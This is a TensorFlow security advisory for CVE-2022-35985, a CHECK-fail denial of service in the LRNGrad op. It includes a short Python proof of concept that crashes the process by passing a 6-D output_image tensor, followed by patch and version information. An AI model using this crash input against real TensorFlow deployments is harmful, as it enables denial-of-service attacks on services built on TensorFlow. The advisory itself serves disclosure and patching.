1## TFSA-2022-116: `CHECK` fail in `LRNGrad` 2 3### CVE Number 4CVE-2022-35985 5 6### Impact 7If `LRNGrad` is given an `output_image` input tensor that is not 4-D, it results in a `CHECK` fail that can be used to trigger a denial of service attack. 8```python 9import tensorflow as tf 10depth_radius = 1 11bias = 1.59018219 12alpha = 0.117728651 13beta = 0.404427052 14input_grads = tf.random.uniform(shape=[4, 4, 4, 4], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2033) 15input_image = tf.random.uniform(shape=[4, 4, 4, 4], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2033) 16output_image = tf.random.uniform(shape=[4, 4, 4, 4, 4, 4], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2033) 17tf.raw_ops.LRNGrad(input_grads=input_grads, input_image=input_image, output_image=output_image, depth_radius=depth_radius, bias=bias, alpha=alpha, beta=beta) 18``` 19 20### Patches 21We have patched the issue in GitHub commit [bd90b3efab4ec958b228cd7cfe9125be1c0cf255](https://github.com/tensorflow/tensorflow/commit/bd90b3efab4ec958b228cd7cfe9125be1c0cf255). 22 23The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. 24 25 26### For more information 27Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. 28 29 30### Attribution 31This vulnerability has been reported by Di Jin, Secure Systems Labs, Brown University 32